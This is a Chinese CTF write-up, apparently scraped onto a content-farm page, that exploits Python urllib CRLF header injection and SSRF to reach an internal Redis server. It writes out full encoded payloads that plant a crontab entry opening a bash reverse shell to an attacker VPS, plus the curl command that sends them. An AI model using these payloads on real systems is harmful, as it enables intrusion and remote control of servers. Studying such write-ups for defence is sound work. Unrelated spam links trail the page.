Hack Redis via Python urllib HTTP Header Injection

来源:互联网 发布:彩无敌软件官网 编辑:程序博客网 时间:2024/05/16 09:29

本篇文章带来的是python低版本的urllib 头部注入,攻击目标为局域网内的Redis,结合着一道CTF实例,演示整个攻击过程

  • 0x01 简介
  • 0x02 环境搭建
  • 0x03 题目分析
    • 0x1 ssrf
    • 0x2 python urllib 注入
      • docker 1
      • docker 2
    • 0x3 redis攻击方式
      • webshell
      • 利用redis写恶意命令
      • 接收反弹的shell

0x01 简介

2016年6月BLINDSPOT披露了Python urllib http头注入漏洞:http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html
通过这个漏洞,如果使用了Python的urllib库,并且请求的url为用户可控,那么就可能存在内网被探测的风险,如果本机或内网服务器中装有未授权访问的redis,那么服务器则有被getshell的风险。

0x02 环境搭建

利用2016hctf ATfeild 源码搭建
https://github.com/LoRexxar/hctf2016_atfield

主机 ip 配置 本机 172.17.0.1 Ubuntu:16.04 docker1 172.17.0.2 Ubuntu:16.04 python2.7.6(源码编译) docker2 172.17.0.4 centos:6 redis2.4.3

0x03 题目分析

整个题目只有一个输入框
这里写图片描述
要求输入图片的url ,后台的访问过程因该是直接去请求文件
打印出来的image地址很可疑 怀疑是ssrf

下一步就是寻找内网主机

0x1 ssrf

这里我们测试能发现,并不允许ip的请求,也就是描述中所说的,请求必须符合.tld标准并且包含域名,如果想要请求127.0.0.1,我们这里有两种绕过方式

1、 http://www.127.0.0.1.xip.io

这种方式可以自动把域名指向中间的ip,在一些特殊情况下非常好用

2、 http://xxxxx/?u=http://127.0.0.1

在有域名的vps上写一个跳转页面实现,事实上,只有第二种做法可以顺利继续做下一题

这里采用两种方法结合的方式
构造http://www.vps.xip.io/302.php?u=http://127.0.0.1

0x2 python urllib 注入

该漏洞的前提python版本为python3 < 3.4.3 || python2 < 2.7.9 (ps 这里python版本必须是自己编译的,虽然不知道为什么???)

首先我们了解一下什么是python urllib 注入

1. docker 1

是对外开放的web服务器端
编写请求脚本

#!/usr/bin/env python                                                       # encoding: utf-8 import sysimport urllib2url = sys.argv[1]info = urllib2.urlopen(url)

这里写图片描述
通过发送请求 达到恶意数据被执行
python a.py http://172.17.0.3%0d%0aset%20a%2012345%0d%0a:8888/
这里写图片描述
首先在docker2中nc -lp 8888端口
观察现象
这里写图片描述
发现中间的字符串正常的解析了,正好是一组redis命令

2.docker 2

是内网中的服务器,里面有redis以及crontab任务管理
docker2中开启了redis服务

这里写图片描述

如果刚才docker1中的请求端口是6379,那么就会吧aa变量加入到集合中,从而能证明header注入redis是否成功
最后看截图
这里写图片描述

成功解析语句并执行

0x3 redis攻击方式

首先整体的思路是用户通过操作docker1去访问docker2其中的数据具有恶意性,并且可以在docker2中解析执行,从而在docker2中进行破坏最后拿到webshell,系统管理权限

1.webshell

利用最经典的webshell获取方法
通过1.2.2 我们能够绕过过滤,在通过1.2.1我们能够构造payload写入信息redis,再加上提示说有crontab,这样我们就可以通过redis来写crontab文件然后反弹shell。

正常我们在bash下反弹shell是这样子的命令

/bin/bash -i >& /dev/tcp/ip地址/端口号 0>&1
写成计划任务形式,即crontab文件形式

*/1 * * * * /bin/bash -i >& /dev/tcp/ip地址/端口号 0>&1

代表每分钟执行一次

2.利用redis写恶意命令

通常来说我们在使用redis写文件方法如下:

set 11 "*/1 * * * * /bin/bash -i >& /dev/tcp/ip地址/端口号 0>&1"config set dir /var/spool/cronconfig set dbfilename rootsave

但本题采取了另一个方式 因为redis不会识别空格

1set 11 "\n*/1 * * * * /bin/bash -i >& /dev/tcp/(vps address)/12345 0>&1\n"*3      //表示有三个参数$3     //下面这个参数长度为3set$1     //下面这个参数长度为1a       $64   //下面这个参数长度为64\n*/1 * * * * /bin/bash -i >& /dev/tcp/(vps address)/12345 0>&1\n

这里\n在传输的时候替换成%0a,所以我们要传入的明文子串如下:

link=http://www.(vps address).xip.io/302.php?url=http://172.17.0.4*3$3set$1a$64*/1 * * * * /bin/bash -i >& /dev/tcp/(vps address)/12345 0>&1config set dir /var/spool/cronconfig set dbfilename rootsave:6379/

不能直接发送过去 ,首先进行进行URL编码转换,应该转换几次呢?
答案是3次 用户web浏览器一次/跳转一次/内网请求一次
在换行时必须采用%0d%0a 那么最后的形式是将下面的link再转码两次

link=http://www.(vps address).xip.io/302.php?url=http://172.17.0.4%0d%0A%0d%0A%2a3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0Aa%0d%0A%2464%0d%0A%0a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20%2fbin%2fbash%20-i%20%3E%26%20%2fdev%2ftcp%2f(vps address)%2f12345%200%3E%261%0a%0d%0Aconfig%20set%20dir%20%2fvar%2fspool%2fcron%0d%0Aconfig%20set%20dbfilename%20root%0d%0Asave%0d%0A:6379/

利用crul 方法发送出去

curl -d "link=http%3A%2f%2fwww.(vps address).xip.io%2f302.php%3Furl%3Dhttp%253A%252f%252f172.17.0.3%25250d%25250A%25250d%25250A%25252a3%25250d%25250A%2525243%25250d%25250Aset%25250d%25250A%2525241%25250d%25250Aa%25250d%25250A%25252464%25250d%25250A%25250a%25252a%25252f1%252520%25252a%252520%25252a%252520%25252a%252520%25252a%252520%25252fbin%25252fbash%252520-i%252520%25253E%252526%252520%25252fdev%25252ftcp%25252f(vps address)%25252f12345%2525200%25253E%2525261%25250a%25250d%25250Aconfig%252520set%252520dir%252520%25252fvar%25252fspool%25252fcron%25250d%25250Aconfig%252520set%252520dbfilename%252520root%25250d%25250Asave%25250d%25250A%253A6379%252f" "http://172.17.0.4:8000/show" -v -L

执行结果如下
这里写图片描述
这里写图片描述
成功执行
观察 redis端的情况
这里写图片描述
这里写图片描述

成功实现计划任务的写入
下面就是vps接受反弹的shell

3.接收反弹的shell

这里写图片描述

原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 pos机刷卡刷多了怎么办 红米5a开不机怎么办 魅族双亲要密码怎么办? 苹果wi-fi网速慢怎么办 腾达宽带用户名密码忘了怎么办 无线网秘密忘了怎么办 wan口设置已断开怎么办 中兴手机忘记解锁图案怎么办 u盘显示参数错误怎么办 硬盘vc加密密码忘了怎么办 软件文件移动到其他盘打不开怎么办 u盘无法复制文件怎么办 u盘大文件不能拷怎么办 abc看图打印不了怎么办 百度云大文件慢怎么办 手机视频缩略图加载失败怎么办 电脑突然卡住不动了怎么办 word文档被锁住了怎么办 手机qq磁盘已满怎么办 不小心格式化了硬盘怎么办 移动硬盘插上显示要格式化怎么办 微信网络特别慢怎么办 苹果六网速太慢怎么办 小米手机wifi网速慢怎么办 苹果8蜂窝上网慢怎么办 苹果6s4g网速慢怎么办 苹果7上网速度慢怎么办 银行转账到别人账户怎么办 银行转账转错账户怎么办 人已故欠的公款怎么办 论文抄了表格数据怎么办 电子转账转错了怎么办 苹果手机付款方式有问题怎么办 合同中付款方式错怎么办? 优步付款方式无效怎么办 工程付款方式变更没有合同怎么办 银行账号被锁了怎么办? 街电押金退不了怎么办 佣金宝账号忘了怎么办 如果汇款汇错了怎么办 手机汇款汇错了怎么办